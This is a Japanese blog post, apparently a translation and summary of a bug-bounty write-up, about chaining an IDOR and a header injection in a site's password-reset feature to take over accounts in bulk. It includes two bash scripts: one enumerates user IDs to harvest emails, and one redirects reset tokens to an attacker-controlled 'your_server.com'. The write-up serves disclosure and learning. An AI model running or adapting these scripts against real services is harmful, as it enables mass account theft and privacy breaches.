Chaining IDOR and Host Header can takeover 18 Billion of users account から学ぶ

ソース:

nullr3x.medium.com

脆弱性:IDOR

 

訳:

パスワード リセット機能の (FIRST) IDOR

発見された最初のバグには、redacted.com のパスワード リセット機能内の安全でない直接オブジェクト参照 (IDOR) が関係しています。
この脆弱性を再現する手順は次のとおりです。

  1. https://redacted.com/reset 」に移動します。
  2. 電子メール アドレスを入力してリクエストを受け取ります。
  3. リクエストには、「email」パラメータと「id」パラメータという 2 つのパラメータが表示されます。
  4. 電子メール パラメータは変更しません (電子メール パラメータは被害者の電子メールを取得するのに重要ではないため) ですが、「id」パラメータ値を変更します。
  5. 応答により、操作されたユーザー ID に関連付けられた被害者の電子メール アドレスが明らかになります。

(2 番目) パスワード レスト機能でのホスト ヘッダー インジェクション

2 番目の脆弱性であるホスト ヘッダー インジェクションは、パスワード リセット機能で確認されました。
この注入が IDOR バグと組み合わされると、大量アカウント乗っ取りの可能性への扉が開かれます。 次の手順を実行します:

  1. IDOR エクスプロイトを通じて取得した被害者の電子メールをコピーします。
  2. 被害者の電子メールを電子メール アドレス フィールドに貼り付け、リクエストを傍受します。
  3. Referer ヘッダーを「 https://redacted.com 」から「 https://your_Server.com 」に変更します。
  4. そして、リセットされたパスワード トークンが被害者のアカウントのサーバーに送信されます。

(3番目) 結果: 大量アカウント乗っ取り

これらのアクションを通じて、ハッカーはすべての個人アカウントのパスワード リセット リンクを取得できます。
これは最終的に、redacted.com プラットフォーム上のアカウントの大量乗っ取りにつながります。

 

このプロセスを 2 つのステップで自動化します

最初の一歩

この単純な bash スクリプトを使用して被害者のメールのワードリストを作成し、アクティブ ユーザーのメールを取得し、次のステップのリストを作成します。

 

#!/bin/bash

url="https://redacted.com/reset"
output_file="output.txt"

email_regex="\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"

for *1; do
response=$(curl -s -X POST $url --data "email=&id=$id")
email=$(echo "$response" | grep -oP "$email_regex")

if [ -n "$email" ]; then
echo "ID: $id -> Email: $email >> "$output_file"
fi
done

 

第二段階

この bash スクリプトを使用して各電子メール アドレスに対してパスワードの電子メール ワードリスト リクエストを使用すると、最初のステップで収集した各電子メールのリセット パスワード トークンがキャプチャされます。

 

#!/bin/bash

input_file="output.txt"

your_server="https://your_server.com"

while IFS= read -r line; do
id=$(echo "$line" | grep -oP 'ID: \K[0-9]+')
email=$(echo "$line" | grep -oP 'Email: \K[^,]+')

response=$(curl -s -X POST https://redacted.com/reset --data "email=$email&id=$id" -H "Referer: $your_server")

echo "ID: $id -> Reset Token Sent for $email"
done < "$input_file"

 

結果: 大量アカウント乗っ取り

これらのアクションを通じて、ハッカーはすべての個人アカウントのパスワード リセット リンクを取得できます。

 

ほなほな。

*1:id=1; id<=10000; id++